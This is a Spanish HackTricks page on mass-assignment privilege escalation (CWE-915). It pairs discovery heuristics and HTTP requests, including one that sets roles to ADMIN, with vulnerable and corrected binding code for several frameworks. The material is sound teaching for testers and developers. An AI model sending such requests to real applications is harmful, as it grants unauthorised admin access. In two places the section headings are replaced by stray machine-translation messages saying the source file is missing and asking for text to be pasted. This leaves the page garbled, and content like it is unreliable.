Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Mass assignment (a.k.a. insecure object binding) ocurre cuando un API/controlador toma JSON proporcionado por el usuario y lo enlaza directamente a un modelo/entidad en el servidor sin una lista explícita de campos permitidos. Si propiedades privilegiadas como roles, isAdmin, status, o campos de ownership son bindable, cualquier usuario autenticado puede escalar privilegios o manipular el estado protegido.

Esto es un problema de Broken Access Control (OWASP A01:2021) que a menudo permite escalada de privilegios vertical al establecer roles=ADMIN o similar. Suele afectar a frameworks que soportan binding automático del request body a modelos de datos (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).

1) Encontrar Mass Assignment

Busca endpoints de autoservicio que actualicen tu propio perfil o recursos similares:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

Heurísticas que indican mass assignment:

  • La respuesta refleja campos gestionados por el servidor (p. ej., roles, status, isAdmin, permissions) incluso cuando no los enviaste.
  • Los paquetes del cliente contienen nombres/IDs de roles u otros nombres de atributos privilegiados usados en la app (admin, staff, moderator, internal flags), lo que sugiere un esquema bindable.
  • Los serializers del backend aceptan campos desconocidos sin rechazarlos.

Flujo de prueba rápido:

  1. Realiza una actualización normal solo con campos seguros y observa la estructura completa de la respuesta JSON (this leaks the schema).
  2. Repite la actualización incluyendo un campo privilegiado manipulado en el body. Si la respuesta mantiene el cambio, probablemente tienes mass assignment.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

La respuesta insinúa campos privilegiados:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

Una vez que conozcas el bindable shape, incluye la privileged property en la misma solicitud.

Ejemplo: establece roles como ADMIN en tu propio recurso de usuario:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

Si la respuesta persiste el cambio de rol, vuelve a autenticarte o refresh tokens/claims para que la app emita una sesión en admin-context y muestre la UI/endpoints privilegiados.

Notas

  • Los role identifiers y shapes se enumeran frecuentemente desde el client JS bundle o la API docs. Busca cadenas como "roles", "ADMIN", "STAFF", o role IDs numéricos.
  • Si los tokens contienen claims (p. ej., JWT roles), normalmente se requiere logout/login o token refresh para que se materialicen los nuevos privilegios.

3) Recon del bundle del cliente para esquemas e IDs de rol

  • Inspecciona minified JS bundles en busca de role strings y model names; los source maps pueden revelar DTO shapes.
  • Busca arrays/maps de roles, permissions o feature flags. Construye payloads que coincidan exactamente con los property names y el nesting.
  • Indicadores típicos: role name constants, dropdown option lists, validation schemas.

Greps útiles contra un bundle descargado:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) Peligros de frameworks y patrones seguros

La vulnerabilidad surge cuando los frameworks asignan req.body directamente a entidades persistentes. A continuación se muestran errores comunes y patrones mínimos y seguros.

Node.js (Express + Mongoose)

Vulnerable:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

No tengo el contenido del archivo src/pentesting-web/mass-assignment-cwe-915.md. Por favor pega aquí el texto que quieres que traduzca al español (mantendré la sintaxis markdown/html y no traduciré código, nombres técnicos, tags, enlaces ni rutas).

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

Vulnerable (sin strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

Corregir (strong params + sin campos privilegiados):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

Vulnerable:

php
protected $guarded = []; // Everything mass-assignable (bad)

Necesito el contenido del archivo src/pentesting-web/mass-assignment-cwe-915.md para traducirlo. Por favor pega aquí el texto que quieres que traduzca.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

Patrón vulnerable:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

Solución: Mapear a un DTO con solo los campos permitidos y hacer cumplir la autorización:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

Luego copia los campos permitidos desde el DTO a la entidad en el servidor, y maneja los cambios de rol solo en handlers exclusivos para admin después de las comprobaciones RBAC. Usa @JsonIgnore en campos privilegiados si es necesario y rechaza propiedades desconocidas.

Go (encoding/json)

  • Asegúrate de que los campos privilegiados usen json:"-" y valida con una struct DTO que incluya solo los campos permitidos.
  • Considera decoder.DisallowUnknownFields() y la validación posterior al bind de invariantes (los roles no pueden cambiar en rutas de autoservicio).

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks